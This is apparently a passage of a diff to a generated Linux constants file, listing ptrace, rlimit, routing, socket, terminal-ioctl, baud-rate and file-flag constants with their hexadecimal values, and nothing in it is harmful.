-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETCRUNCHREGS = 0x19
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETHBPREGS = 0x1d
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GETVFPREGS = 0x1b
-- PTRACE_GETWMMXREGS = 0x12
-- PTRACE_GET_THREAD_AREA = 0x16
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETCRUNCHREGS = 0x1a
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETHBPREGS = 0x1e
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SETVFPREGS = 0x1c
-- PTRACE_SETWMMXREGS = 0x13
-- PTRACE_SET_SYSCALL = 0x17
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- PT_DATA_ADDR = 0x10004
-- PT_TEXT_ADDR = 0x10000
-- PT_TEXT_END_ADDR = 0x10008
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x541b
-- SIOCOUTQ = 0x5411
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x10
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x11
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x12
-- SO_RCVTIMEO = 0x14
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x13
-- SO_SNDTIMEO = 0x15
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x540b
-- TCGETA = 0x5405
-- TCGETS = 0x5401
-- TCGETS2 = 0x802c542a
-- TCGETX = 0x5432
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x5409
-- TCSBRKP = 0x5425
-- TCSETA = 0x5406
-- TCSETAF = 0x5408
-- TCSETAW = 0x5407
-- TCSETS = 0x5402
-- TCSETS2 = 0x402c542b
-- TCSETSF = 0x5404
-- TCSETSF2 = 0x402c542d
-- TCSETSW = 0x5403
-- TCSETSW2 = 0x402c542c
-- TCSETX = 0x5433
-- TCSETXF = 0x5434
-- TCSETXW = 0x5435
-- TCXONC = 0x540a
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x80045432
-- TIOCGETD = 0x5424
-- TIOCGEXCL = 0x80045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGPGRP = 0x540f
-- TIOCGPKT = 0x80045438
-- TIOCGPTLCK = 0x80045439
-- TIOCGPTN = 0x80045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x5413
-- TIOCINQ = 0x541b
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x5411
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x5423
-- TIOCSIG = 0x40045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSPGRP = 0x5410
-- TIOCSPTLCK = 0x40045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTI = 0x5412
-- TIOCSWINSZ = 0x5414
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x100
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x400854d5
-- TUNDETACHFILTER = 0x400854d6
-- TUNGETFEATURES = 0x800454cf
-- TUNGETFILTER = 0x800854db
-- TUNGETIFF = 0x800454d2
-- TUNGETSNDBUF = 0x800454d3
-- TUNGETVNETBE = 0x800454df
-- TUNGETVNETHDRSZ = 0x800454d7
-- TUNGETVNETLE = 0x800454dd
-- TUNSETDEBUG = 0x400454c9
-- TUNSETGROUP = 0x400454ce
-- TUNSETIFF = 0x400454ca
-- TUNSETIFINDEX = 0x400454da
-- TUNSETLINK = 0x400454cd
-- TUNSETNOCSUM = 0x400454c8
-- TUNSETOFFLOAD = 0x400454d0
-- TUNSETOWNER = 0x400454cc
-- TUNSETPERSIST = 0x400454cb
-- TUNSETQUEUE = 0x400454d9
-- TUNSETSNDBUF = 0x400454d4
-- TUNSETTXFILTER = 0x400454d1
-- TUNSETVNETBE = 0x400454de
-- TUNSETVNETHDRSZ = 0x400454d8
-- TUNSETVNETLE = 0x400454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x4
-- VEOL = 0xb
-- VEOL2 = 0x10
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x6
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x20
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80041270
-+ BLKBSZSET = 0x40041271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80041272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80046601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0xc
-+ F_GETLK64 = 0xc
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0xd
-+ F_SETLK64 = 0xd
-+ F_SETLKW = 0xe
-+ F_SETLKW64 = 0xe
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x20
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x10000
-+ O_DIRECTORY = 0x4000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x20000
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
